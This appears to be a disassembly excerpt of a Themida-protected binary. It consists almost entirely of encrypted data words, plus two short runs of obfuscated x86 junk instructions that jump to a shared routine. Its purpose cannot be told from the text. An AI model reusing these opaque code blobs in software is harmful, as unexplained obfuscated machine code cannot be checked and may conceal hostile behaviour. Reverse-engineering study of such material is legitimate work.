		dd 0A225EF00h, 0DF3D2D19h, 0FA1D07E7h, 0F6E47A72h, 47A2D284h
		dd 0CE55FCCFh, 0CB72079Eh, 46DF0E9Bh, 7A32FEA5h, 21439CD2h
		dd 0C5609039h, 88B680DBh, 5F28BD58h, 5B49DFD7h,	4193197Bh
		dd 0A128CFA2h, 22BBE871h, 9A41E27Bh, 0E089392Fh, 0CF4014ADh
		dd 0C3D8E79h, 8E79AD1Eh, 9D25F83Dh, 2C542C02h, 7D1E7EF6h
		dd 8027BEEEh, 94A2FDE7h, 102F20A3h, 0E3BA2B17h,	564ED6F9h
		dd 0B12210C0h, 0FC3D8E52h, 87373F29h, 5278E9D7h, 2C33D8Eh
		dd 0F38C33D2h, 42226852h, 693B849Bh, 62500096h,	377FFAF1h
		dd 0E36B0635h, 711F2610h, 553FF1EEh, 3A24B4EAh,	9C820A6Eh
		dd 770D96Ch, 6FC26FE5h,	8535CB6Ch, 7017AADCh, 7B22BDE9h
		dd 84B241E2h, 0D9B9FFE9h, 479965h, 0D7780F3Fh, 0F079A930h
		dd 0ED8223BEh, 0D87F1646h, 0FD30110Ch, 31B4F42Bh, 95801716h
		dd 78D3BDA6h, 0B55080AEh, 0C0497920h, 0C157F891h, 2F5FE818h
		dd 0B758F198h, 748D7710h, 7C23BEEDh, 0D07EC811h, 0C27005A0h
		dd 53B32412h, 2BFED99Bh, 75104041h, 34DCEh, 5EC30000h
		dd 6AFB2C7Ch, 790C3CC3h, 7E194BD2h, 8A2350D7h, 98295CE3h
		dd 9E376AF1h, 0A84170F7h, 0B14C7A01h, 0B857830Ah, 98686711h
		dd 8900004Ah, 8952240Ch, 4C281E2h, 83000000h, 148704EAh
		dd 0C895C24h, 63E06824h, 34890000h, 5735B924h, 0D1F71AEBh
		dd 6F75C181h, 81492F4Eh, 0FFFFFFE9h, 9FF181FFh,	68126D4Fh
		dd 3292h, 81242489h, 42404h, 525E0000h,	5689CA89h, 24148B08h
		dd 0FF04C483h, 815E2434h, 4C4h,	240C8B00h, 81E78957h, 4C7h
		dd 4C78300h, 5C243C87h,	0F9207AE9h, 300D4BFFh, 0E5C8FB8h
		dd 0FFC50306h, 805219E0h, 0F98D692Bh, 0CDDD0943h, 0EB68DC5Ah
		dd 24C58814h, 9803D247h, 5FA6C906h, 44ED1924h, 3B7E9A3Eh
		dd 0B111D64Fh, 6D49B249h, 63ECE314h, 63F6F464h,	9F089D1Fh
		dd 8E5AAA0Dh, 290BFC3Fh, 6E9A373Dh, 4C95EB69h, 0DC4DE36h
		dd 0DD04EB74h, 0E9330C95h, 54Eh, 62F78EBFh, 5BF08FBBh
		dd 56EB86B4h, 50E580AFh, 46DB76A9h, 0A5D893ABh,	0A3D0770Ch
		dd 9CCE750Ah, 9DCD7409h, 3AA8750Ah, 9595DB4Ch, 3D0F2643h
		dd 0C269FC2Ch, 0D86D083Bh, 0BF660131h, 8A780838h, 49A3F219h
		dd 9A60C964h, 8EAF02EAh, 1EA54CEDh, 0E8AC53F2h,	2D5DCB55h
		dd 0F246B7A5h, 0BE9149A3h, 0AFE1881Dh, 0A6D87F14h, 2DD6640Bh
		dd 532E9FFAh, 0C7199730h, 0E3B3C26h, 145DC86Fh,	57EA1C0Ah
		dd 3D6B14C2h, 7862FBA2h
		dd 1AB04777h, 55DF4271h, 4880F95Bh, 0D16A11B2h,	8F791442h
		dd 323CAA76h, 0CB2449A3h, 805A7B7Dh, 598019AFh,	0A8000000h
		dd 8C33D2FFh, 2C3D09F3h, 0F6C269FCh, 49A3F28Bh,	21E6696Fh
		dd 463CA5B9h, 8791ECD6h, 0AF7F9441h, 0C0AF3219h, 294026BFh
		dd 1FAEED8h, 5E000000h,	0B74A7C25h, 8C8D7710h, 971EC560h
		dd 9E25CC6Bh, 6B2FD66Fh, 0B4E04ED8h, 38008319h,	0DD4F20BDh
		dd 27CED5BFh, 59CB60F7h, 0B5507C25h, 8A8B750Eh,	7828BE57h
		dd 0A3F2198Ah, 0A7916449h, 3CDB078Eh, 1D2BE495h, 0D0650033h
		dd 13847222h, 5E49A3F2h, 70A0A18Bh, 8122B5E7h, 952553DAh
		dd 0A3F236A7h, 0DAE8149h, 8838C866h, 0A3F2299Ah, 0B7A17449h
		dd 0D90CD25Ch, 319AEBDh, 8Fh, 68F92C67h, 5A8A33C1h, 917B14BBh
		dd 20C76290h, 25CC6799h, 33DA6B9Eh, 7EBE88C3h, 2FEF72B2h
		dd 0DB68F94h, 0D1B7660h, 0C055F023h, 0A44BE619h, 408BEE1Dh
		dd 0A91B46C8h, 715DD5ABh, 33D40CAAh, 0BD4DEB92h, 654FE214h
		dd 620B3C0Ah, 592E9736h, 989EBDE2h, 6085DEC8h, 6619AFAAh
		dd 4CF38EBDh, 58FF92C5h, 9A881EBFh, 49A30C29h, 0C3B7A174h
		dd 4Eh,	68F92C27h, 6D083AC1h, 0D1B56C6h, 0BF55F023h, 0F2B0210Fh
		dd 28FB49A3h, 2CC5373Eh, 26CF6500h, 1BB45BFAh, 0DE4C1831h
		dd 0C649A3F2h, 0A1723DC0h, 0A2767AD4h, 0DD35DB8h, 19AF8BC8h
		dd 0D12h, 62913A00h, 650CA7D9h,	0EB842BCCh, 0FE2C3501h
		dd 535BC63h, 1AC15484h,	0CE39E081h, 5A7F55D8h, 58FF9AC9h
		dd 9AE456BFh, 0F48FBD4Ch, 0B761AF0Ah, 9059EE89h, 8C7A1008h
		dd 47A27712h, 7ADF922Dh, 2B942F61h, 22B84956h, 9CB7C334h
		dd 9A3B0E43h, 0A93C6CF3h, 0AA3D6D14h, 0B7CC3703h, 0E823439Ch
		dd 5DC0F05Eh, 0CCB17331h, 0C055F6BAh, 9C376912h, 0A5406EF5h
		dd 0DAC465FEh, 670EA9D9h, 680130D9h, 3D3E28C1h,	22D37A0Dh
		dd 4171DF69h, 68D10A6h,	760F4221h, 0E6243C0Dh, 0DFF6F5FCh
		dd 0FD1FB5DDh, 169h, 8A820A61h,	0FA5806F4h, 502347A2h
		dd 0FFD537BAh, 76334339h, 9CD21788h, 0EE8F6243h, 3464EB04h
		dd 45E681B3h, 3ED909B0h, 45E01097h, 0EA34ED9Eh,	0E3790C3Ch
		dd 0C46B0A3Ah, 0D2D74836h, 4F22439Ch, 6F3045AEh, 0DEA432A2h
		dd 0E7EEEDF4h, 0F51FB69Ch, 83h,	0E7F6D1Dh, 4B439C21h, 9C20EC5Dh
		dd 0DC643743h, 25531F09h, 66D7C575h, 0B149A3F2h, 0F2990ADEh
		dd 0E8D649A3h, 49A3F277h, 9467EFC2h, 62CCE42Bh,	4731F5DDh
		dd 13A99D24h, 0EF8EBA63h, 0FA95C148h, 2F19BA53h, 0A383C8E9h
		dd 0F9A07349h, 0A383BC2Dh, 37D20049h, 42DD0990h, 0E731EA9Bh
		dd 99A77827h, 7C12068Dh, 0A3836D8Eh, 4B7D1849h,	65744BE6h
		dd 0FAA339DAh, 7A1543CCh, 0AF9932D9h, 9307A8h, 257D0000h
		dd 0F2168775h, 8E6149A3h, 1F981A4h, 0EE0B7D6Bh,	9F4847A2h
		dd 0F6F0DA6Dh, 0C5F57C23h, 0C6F69D32h, 93811141h, 439CEE22h
		dd 58F99A6Dh, 0EE2DE5B1h, 8EBD439Ch, 93C54CF3h,	0DDCB5900h
		dd 439CED6Ch, 6435E4B7h, 67765DAh, 51439CEDh, 2A65DD7Eh
		dd 6302321Ch, 857D05CEh, 40B001EFh, 0A87B4193h,	0AB4A7A01h
		dd 0C6509904h, 20B6AE36h, 0C7B14477h, 0E380D1BFh, 8D3D3B84h
		dd 337EEFDDh, 0F6C93780h, 8033B122h, 9A29FC37h,	912AD16Ch
		dd 45DAADA7h, 4C7C25D3h, 24ACCFB9h, 36E6962Ch, 0A3F2D748h
		dd 654F2249h, 9A45CE1Fh, 30C69947h, 1BC25587h, 0F87F9882h
		dd 57CC65C8h, 6BE5A7Eh,	0F929D065h, 19EBB75Eh, 0A0709775h
		dd 0E515030Dh, 0E616BD52h, 0F221A84Fh, 0FC45B057h, 79D40432h
		dd 8BBC6ACAh, 9D32D385h, 1241C6F6h, 0F3239482h,	9B6E0E91h
		dd 31B259FAh, 3, 2C7C5EA7h, 3CC36AFBh, 4BD2790Ch, 50D77E19h
		dd 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch
		dd 6711B857h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 57240489h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebp
		push	17327F1Bh
		mov	ebp, [esp]
		add	esp, 4
		neg	ebp
		shl	ebp, 4
		sub	ebp, 4DC222F6h
		xor	ebp, 391BB637h
		mov	eax, ebp
		pop	ebp
		push	47BCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		push	esi
		mov	esi, 8
		mov	ecx, esi
		pop	esi
		add	ecx, ebp
		mov	[ecx], eax
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544543
; ---------------------------------------------------------------------------
		dw 585Dh
		dd 8C4EE81Bh, 19B88826h, 3060E62h, 0C0E0FFC5h, 145DEEB1h
		dd 8347F76Dh, 0C296376h, 3B3BE4EEh, 391357E6h, 194FC633h
		dd 2A54575Dh, 0C1167CCEh, 765790B6h, 0D44EEBAAh, 0D220570Fh
		dd 0BD1A75E7h, 1546A6D2h, 1521E745h, 3D56BA4Dh,	3C40C665h
		dd 0BE49BFECh, 45719AD3h, 9A1E57F6h, 0AA076B72h, 9358946Dh
		dd 0CD764C64h, 0B222E1DFh, 8751832h, 90F7A07h, 4D228558h
		dd 0F5A59F9h, 93394F0Fh, 0EB34C395h, 0E9BBEB04h, 573E907h
		dd 0B8E90000h, 0B5E1881Dh, 0B0DE851Ah, 0AAD98015h, 0A0D37A0Fh
		dd 0BDD57005h, 0A136CF02h, 9B30CDFAh, 9A2FC2F4h, 8F24C3F3h
		dd 0F56654C2h, 4043958Eh, 0FC2C5729h, 5B50D369h, 274CFBC5h
		dd 78FF1802h, 6D16AC45h, 0B9C0AA3Dh, 9C43E212h,	0FF705E0Eh
		dd 4A49A394h, 1CB5E877h, 0F1F2DC75h, 0F87F26C1h, 38A31CCh
		dd 0C933AD5h, 3FA047DAh, 85CE5248h, 0FE39B1C7h,	9528F430h
		dd 126D9D8Bh, 1D424216h, 0B55083AAh, 33D4750Eh,	32C5F79Eh
		dd 8DFEEC9Ch, 0F749A34Fh, 0AD3AD754h, 9859E1A6h, 4630D16Ch
		dd 0CB66983Fh, 0D5709D24h, 0DD78A72Eh, 49BAA836h, 9449A3D3h
		dd 670632C1h, 20C55C0h,	0A54CE514h, 0AFF86B0Ch,	0DB07B061h
		dd 12FC953Ch, 0F77CDF11h, 0B72757E3h, 33DA75A1h, 0C358F99Ah
		dd 0B259EC1Ch, 0A3C478E6h, 0F48DBC49h, 0E99C64Dh, 0FBA243E2h
		dd 8787914Ah, 0F8E6969Ch, 49A3C487h, 996FFD2h, 0C9A53DAFh
		dd 9EA803EDh, 777226A9h, 73293BD6h, 57A53089h, 633719AFh
		dd 9B000000h, 8674FC2Ch, 49A3F215h, 5055C560h, 877E4FB5h
		dd 0D29E45E6h, 49A30B67h, 0A795454Bh, 49A30B36h, 69C4AE81h
		dd 0A6BC19DFh, 11E19AFh, 82000000h, 0BE65002Ch,	0C56C0B37h
		dd 0CF760F3Eh, 0D9801948h, 86A82678h, 2BBAA85Eh, 48B85FFEh
		dd 3703030Dh, 0FCA59AA4h, 0F38C33CEh, 41DC0809h, 42D505ACh
		dd 7C253BADh, 7710B74Ah, 0C8598C8Dh, 7109321h, 728A6FC1h
		dd 413161ECh, 4AEBA0A3h, 0CC335F60h, 4C2BD9CBh,	7A21C2AAh
		dd 180610C9h, 962F5EE5h, 4CF3EA2Dh, 0B1522BEAh,	9EB6E1Ch
		dd 16D5BDDBh, 0A849DC0Fh, 7E35183Fh, 8872B8A6h,	19C05787h
		dd 1AB3E28Bh, 66012F30h, 0F03E21BFh, 0AEE7F7EEh, 3321D119h
		dd 49A3D2C2h, 0BA42D306h, 50CA0E1Fh, 5EFFD88Fh,	638074h
		dd 25E40000h, 0DD4979A2h, 9687AE6h, 88208924h, 0ADAE9848h
		dd 0B940E77Ah, 8549F08Bh, 0C7FA24F2h, 0BFF2992Eh, 0C9F87F26h
		dd 8EB8930h, 0F62DB83Eh, 0BBB19AEh, 0A3C0AC1Dh,	3A24F749h
		dd 5046h, 0F92CAA00h, 83AC168h,	123FC66Dh, 1845CC73h, 7028FEB5h
		dd 0D57652CEh, 0B583BE2Eh, 78C60179h, 750A9BCEh, 70002C03h
		dd 0A3F21182h, 0E8895C49h, 0F2077541h, 96EF49A3h, 0BBEE9788h
		dd 35A6942Ah, 8049A3F2h, 6B6AC3ADh, 7119AEC0h, 1, 63FE2CD5h
		dd 720535BCh, 91760CBh,	97A6818h, 5449A3F2h, 68969781h
		dd 5F8E37CDh, 6A11ACD8h, 0F08930D1h, 0AE36FF06h, 0F262D3C1h
		dd 3ACC49A3h, 96039AACh, 2FD0A32Bh, 3A31AB99h, 794C47A2h
		dd 9EAC60E3h, 953CD906h, 639893FCh, 0FC839C86h,	0F6A439CCh
		dd 0A08A1D4Dh, 31D86F9Fh, 9C20FA65h, 8165143h, 0B1769417h
		dd 0CAF74ED6h, 50AFDFE0h, 0A5D33C51h, 61CA630Ah, 5AFB9593h
		dd 57EE1EC5h, 724E3EC1h, 0D2FF5ED2h, 1848CFE8h,	6C25D67Dh
		dd 0C34474A2h, 40DD0A97h, 0B85F0099h, 38E87E1Fh, 0F6CA5D8Fh
		dd 439C7D85h, 0A91A08D0h, 0F4439C7Dh, 1A178021h, 84284CAFh
		dd 0A09FA690h, 1FB6BD35h, 0FAA7h, 1F4CCF00h, 9AAFBFBEh
		dd 0A410DF7h, 6F48A82h,	47A2FA58h, 11BA5023h, 0AA34AE5h
		dd 50800720h, 0ACD5CAEDh, 1923B3C3h, 599C0516h,	8B20C1B6h
		dd 8B21B4E4h, 6E15B0E2h, 4BD2EBD5h, 24D57C1Bh, 4373DD6Bh
		dd 0C5100FA4h, 171FB66Eh, 36h, 8F830A7Bh, 0F2EA0BF9h, 0C29549A3h
		dd 0F2DE4F1Bh, 310249A3h, 948232E7h, 49A3F223h,	8EB19B6Eh
		dd 8F7D1307h, 49A3F26Eh, 3B14619h, 0A6902D5Ah, 76ABh, 820A2100h
		dd 9406F48Ah, 0DF47A2EEh, 0AEDE650Ch, 0E3D18117h, 439CEE72h
		dd 37CAFCBDh, 0F7A5AC96h, 0EDE85947h, 6033439Ch, 19039ED1h
		dd 335FE818h, 0C554ED94h, 0B45BFC97h, 9CED30E8h, 929CD743h
		dd 4CE174A4h, 6D03FB83h, 0B85610EAh, 92FB55D3h,	0CF894FDDh
		dd 8D957F8Eh, 92292C9Fh, 0C9704341h, 0CC731242h, 0FE0E1861h
		dd 0FAE87E76h, 3B83C687h, 13AEDD9Eh, 256BDD72h,	0F2168775h
		dd 0C66149A3h, 0E7C05050h, 0AC963784h, 26140189h, 49A2F6B5h
		dd 0F68C2D00h, 99139508h, 32D9AC47h, 47DC7BABh,	0F2E070A0h
		dd 43949381h, 0B990F9CCh, 0AF9DA16Dh, 713DE485h, 43F33AC4h
		dd 0B96EB84Bh, 9A723636h, 0E1AEFBBAh, 2DA94579h, 656650F1h
		dd 660DA235h, 71F89F36h, 9500A742h, 2454C24Ch, 2652FB91h
		dd 0B847E087h, 0FC03ED88h, 0C0CA2555h, 0EE364863h, 9516BD5Eh
		dd 3, 2C7C5E0Bh, 3CC36AFBh, 4BD2790Ch, 50D77E19h, 5CE38A23h
		dd 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch, 6711B857h
		dd 704168h, 241C8900h, 5E08950h, 4, 8704E883h, 895C2404h
		dd 8950240Ch, 405E0h, 0E8830000h, 24048704h, 2404895Ch
		dd 477B6857h, 0B95F01D2h, 7E0AABEh, 545FF929h, 8324048Bh
		dd 8B6804C4h, 89000045h, 2C81240Ch, 9E322624h, 8408F0Ah
		dd 26084081h, 8B0A9E32h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544543
; ---------------------------------------------------------------------------
		dw 0BF30h
		dd 682DB858h, 0C503060Eh, 0CA81E0FFh, 0CED2645Bh, 274827F8h
		dd 51400CA8h, 1BE24AAFh, 0D44B640Eh, 231970BFh,	608449E0h
		dd 0BBFE5AB5h, 473401A4h, 91C43870h, 47424F55h,	0DA654219h
		dd 6B232288h, 488A1C95h, 49DE547Fh, 65761A0Fh, 60BB3C1Fh
		dd 92184052h, 0FF7E44F6h, 6192626Dh, 67C82DD6h,	42D3148Eh
		dd 51836361h, 9F7D532Bh, 0F3632AE8h, 79FB103Bh,	11E86CE9h
		dd 4000000h, 6A7FA131h,	0B2F9B8EEh, 0BF6409Ch, 9D0DE604h
		dd 0F4AEBF66h, 9E85Bh, 0F2480000h, 0B50A61DDh, 0F3F767Ah
		dd 286h, 595F5100h, 5EC7C381h, 81660000h, 0B882E3C9h, 1788h
		dd 0D180F181h, 338B0A9Eh, 368EBA60h, 0EF81128Fh, 4A5669C1h
		dd 20EE8161h, 817BB2F9h, 0DE47DEEEh, 0BE92Ch, 393C0000h
		dd 0E098CB64h, 53BB810h, 8CC681ADh, 66078F9Fh, 3389F98Bh
		dd 80595260h, 81614BD1h, 5ECFC8EBh, 81606030h, 2B6A46F1h
		dd 61D68B09h, 0C4C38161h, 81305ECFh, 9EA9C7D9h,	850F4822h
		dd 0FFFFFF9Eh
		db 81h,	0DFh
word_5B3196	dw 8C04h		; DATA XREF: Themida_:0053CC94o
					; Themida_:0053D3BCo ...
		dd 8D8D0F0Ch, 60E6A69h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 9BC35242h, 5840F59h, 0BF000000h, 666F6804h
		dd 1AD98D89h, 81570607h, 11DB87F0h, 85C7584Bh, 607101Dh
		dd 7184h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	19C35646h, 85C7122Dh, 6073305h,	0
		dd 0B5FFD78Bh, 6070E85h, 2A9DBD0Bh, 95FF0607h, 6071859h
		dd 0BB709DBEh, 0FF006A55h, 70D6995h
dword_5B3228	dd 0EBC08B06h, 4FE6666Eh, 0DA3CF9CAh, 85D9F132h, 4AEADA84h
					; DATA XREF: Themida_:0053CF4Co
		dd 4E443A78h, 454D8FF0h, 2993C617h, 8BBFD99Bh, 2831ED8Ch
		dd 3F743E4Ah, 0FE7A6D2Eh, 0F343E152h, 0BAAE7559h, 823C8108h
		dd 25884514h, 58BED968h, 6373142h, 55F710E5h, 0C6234100h
		dd 95C29E97h, 15A655h, 0D1F1BA01h, 0A8B3D4Ah, 0A0866A07h
		dd 1E986956h, 6A6F0B8Fh, 8063943Eh, 0EB9EF59Eh,	10h, 3 dup(0)
		dd 0E8C08B00h, 0Bh, 0A1225448h,	0B10F3BCAh, 0F412E8Bh
		dd 8B5EF3B7h, 0CDBD83D3h, 6071Ah, 0BD830975h, 6071135h
		dd 50197400h, 0B8C08B53h, 42Dh,	1F7D8589h, 9D8D0607h, 609ADC0h
		dd 585BD3FFh, 1135BD83h, 74000607h, 0B8535017h,	42Dh, 1F7D8589h
		dd 9D8D0607h, 609AAAFh,	585BD3FFh, 18CD958Bh, 0BE660607h
		dd 830FBB6Ch, 6, 789952Bh, 0C08B0607h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0FFC35040h,	7D4C7475h, 43DA8086h
		dd 1A2D8D8Bh, 60510607h, 8BFE8B66h, 71A41BDh, 835A6106h
		dd 840F00F9h, 68h, 13E8h, 4059A400h, 607AC70Dh,	0C0E80D13h
		dd 0F6125D94h, 0D54C4C35h, 8B645AF5h, 2C3Dh, 63BA6600h
		dd 0FFF0B3Bh, 3B84h, 0F78B6600h, 0B5893F8Bh, 6071069h
		dd 31BAC032h, 0F31BD299h, 50006AAAh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 51973F73h
		dd 85311D86h, 60710F9h,	50414935h, 11E853h, 0FA0B0000h
		dd 1AD098DBh, 971FC718h, 81ECF231h, 0B48A038h, 72299B5h
		dd 85C65E06h, 60709CDh,	6800F47h, 8B000000h, 713E995h
		dd 4E806h, 882C0000h, 0BA50DCD6h, 4FF009C5h, 424448Bh
		dd 0FC43BE66h, 6053008Bh, 4718B866h, 0FE9h, 0F73F1300h
		dd 2ECCE5EAh, 95455BFCh, 22DCDBFEh, 44895E61h, 0F48A0424h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0A8D650ADh, 5964578Bh, 0B5FFF480h, 6070D99h
		dd 858DF18Bh, 60A7038h,	0D497BE66h, 85958B51h, 5E060723h
		dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 900E1DC3h, 8968DCE9h, 719AD95h, 0B1858906h
		dd 6A06071Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 6C6FC353h, 0B2D18922h,	9CD85C6h
		dd 0BA530607h, 3E576975h, 4E8h,	986AFC00h, 8C0F6088h, 0Fh
		dd 0AE9h, 63C6E700h, 8B73C3FAh,	504FC930h, 0F616052h, 8E931h
		dd 50890000h, 7ACA0672h, 585ABD95h, 0BE665061h,	448BED84h
		dd 12E80424h, 2B000000h, 0E749DB91h, 9260734Ah,	52DE4ECAh
		dd 16AB2681h, 8B5EEBh, 4244489h, 0D2BD04BEh, 0E9525869h
		dd 14h,	0E7FC7A7Bh, 675A107h, 0BB4F5D4Bh, 79B14D43h, 0A8E50E98h
		dd 99B5FF5Eh, 5606070Dh, 1EF9B58Bh, 665E0607h, 858DF18Bh
		dd 60A7038h, 0AC97CE81h, 0D0FF7707h, 1139B523h,	858D0607h
		dd 60A34A8h, 77ED681h, 85891194h, 6070891h, 9395BA66h
		dd 0FF6A206Ah, 89195FFh, 49350607h, 0C7535041h,	70A8585h
		dd 106h, 9185C700h, 60718h, 0F000000h, 68Fh, 91B58B00h
		dd 5606070Bh, 189D958Bh, 835E0607h, 73335BDh, 840F0006h
		dd 6Fh,	42D28166h, 6820F09h, 89000000h,	714CD9Dh, 0E5858B06h
		dd 0E8060712h, 6, 1F0848AAh, 8531DBEEh,	6071FEDh, 7BBE665Ah
		dd 0A3643Ch, 8B000000h,	71F7995h, 0F1858B06h, 6A06071Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0E508C357h, 6C304822h, 5DB529EDh,	80060730h
		dd 0E08B68E2h, 83F28B66h, 705C5BDh, 850F0006h, 40Eh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0A8C35343h, 9950369Dh
		dd 6810Fh, 0D6810000h, 7F8B5C12h, 0EE9h, 79505600h, 0E7AC3129h
		dd 0E994EC37h, 0C6183988h, 709CD85h, 95895606h,	60709C1h
		dd 31EFB768h, 8B665647h, 4815EF3h, 93412824h, 56006A62h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0A5C65157h, 7FD5ED48h, 99B5FF3Eh, 6A06070Dh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0EE98C357h, 68F4B03Eh, 1FE5B589h, 0D2800607h, 38858D51h
		dd 89060A70h, 72D0DBDh,	6AD0FF06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C5D9C355h
		dd 0D6D9D0EDh, 20DD952Bh, 89500607h, 958B2404h,	6072D79h
		dd 1A018D8Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 68D51CC3h, 59B5E3A9h, 0B58B1257h
		dd 6070AB9h, 0AEB06050h, 0EB22CBB8h, 0C896141h,	52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 47017783h, 0EE663530h, 0F08B9BFCh, 6A046Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 5EAE91C3h, 8D89EBFCh, 60701D9h, 3ADBB868h, 0AE9BBh
		dd 7C420000h, 0E9F63EBCh, 0FD2A8D0Ah, 48240481h, 6644C534h
		dd 29D10DBAh, 71F65BDh,	19B5FF06h, 66060723h, 61A7E281h
		dd 0BD09D0FFh, 6070525h, 2319BD8Bh, 0B58B0607h,	6070099h
		dd 663C7F03h, 812351BAh, 0F8C7h, 3890F00h, 80000000h, 47C75FF2h
		dd 2024h, 598D3160h, 8306070Ah,	0E6ADEBDh, 840F0006h, 16Ah
		dd 1C58529h, 0C7830607h, 0F9BD0928h, 0C706070Ah, 696A2E07h
		dd 55006A64h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 56A2CADEh, 0C7D08BFBh, 74610447h, 0EE90061h
		dd 63000000h, 0F4191B87h, 346E2C83h, 9976BCF4h,	0E6858BEBh
		dd 66060E6Ah, 0E1F9D281h, 6A0C4789h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0FE5DC356h
		dd 0FE9D3h, 9A780000h, 31B470EFh, 0D42C71h, 0A527F096h
		dd 0A4E1BE9Fh, 958B2C69h, 607263Dh, 6AEA858Bh, 958B060Eh
		dd 6071E81h, 6A084789h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 17A0C357h, 5C1CBBBh
		dd 658328Bh, 0ECDB589h,	0DE90607h, 0EF000000h, 9F05DD2Eh
		dd 92163012h, 0C2979A10h, 8128C783h, 0B8B28CCAh, 2E07C72Bh
		dd 8B6E6F63h, 70E4D95h,	447C706h, 676966h, 3544DA81h, 9E94607h
		dd 15000000h, 3B12C076h, 845F16F7h, 6AE2858Bh, 0BF0F060Eh
		dd 0C4789F1h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	54C35141h, 0F7B1A3ECh, 8B0F6BBCh, 6, 988CE281h
		dd 858B42C1h, 60E6ADEh,	8E9h, 35A7D900h, 0E389D4C3h, 84789D5h
		dd 0E9585E56h, 9, 0FF93BCBFh, 849B6E3Dh, 6D958BA0h, 8D06070Ch
		dd 70D098Dh, 0E9BD3106h, 50060704h, 14E8h, 6A31BF00h, 7A279F80h
		dd 0D58BF6C0h, 57188A0Dh, 0CB46FC4Bh, 57BA6662h, 0C895ABDh
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 2A14D9EEh, 0EB08543Eh, 0D461E0BEh, 1B5FF01h
		dd 0E806071Ah, 10h, 3C086FD9h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h
		dd 685E7BB6h, 0DF11F509h, 0F7240481h, 6620EE1Ah, 8E2ED681h
		dd 2319B5FFh, 0B5310607h, 6070909h, 810FD0FFh, 6, 1DDDDA81h
		dd 0B86908h, 0F000000h,	0C00BD1BFh, 5D840Fh, 8B660000h
		dd 5761BAD6h, 0B5FF5DA8h, 6072FF5h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 1C35242h, 5995FF6Fh, 6A060718h
		dd 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0C9B0C353h
		dd 7F4525CFh, 0E9B58Bh,	0D3BE0607h, 8B7953C8h, 14E8C0h
		dd 0C8CC0000h, 0CEF4BE5Dh, 9575D697h, 20C59AAEh, 43C04Dh
		dd 0B58B496Fh, 6070DA5h, 0CDBD835Ah, 6071Ah, 0BD830975h
		dd 6071135h, 50197400h,	0B8C08B53h, 42Dh, 2F818589h, 9D8D0607h
		dd 609AE27h, 585BD3FFh,	1135BD83h, 74000607h, 0B8535017h
		dd 42Dh, 2F818589h, 9D8D0607h, 609AAC8h, 585BD3FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 3FC35343h, 999531D3h
		dd 906072Ch, 7009195h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0CC9CDEB0h, 296F7DD7h
		dd 710A5BDh, 0DE906h, 0DC300000h, 0DFE9A5E1h, 6CAAAD4Fh
		dd 8BACAECFh, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 219E946Bh, 0D7A1999Ch, 85890178h
		dd 6072981h, 0CE9h, 30515900h, 0BC86BE5Fh, 1B800668h, 0EBC08BB0h
		dd 1B5BED04h, 526E968h,	0D0010000h, 0CDF9A035h,	0C8F69D32h
		dd 0C2F1982Dh, 0B8EB9227h, 0D5ED881Dh, 0B94EE71Ah, 0B348E512h
		dd 0B247DA0Ch, 0A73CDB0Bh, 0D7E6CDAh, 5843957Eh, 3FB03341h
		dd 5073A7BDh, 2CE5B19Bh, 0AC4B7BFCh, 0F2B72816h, 2F0249A3h
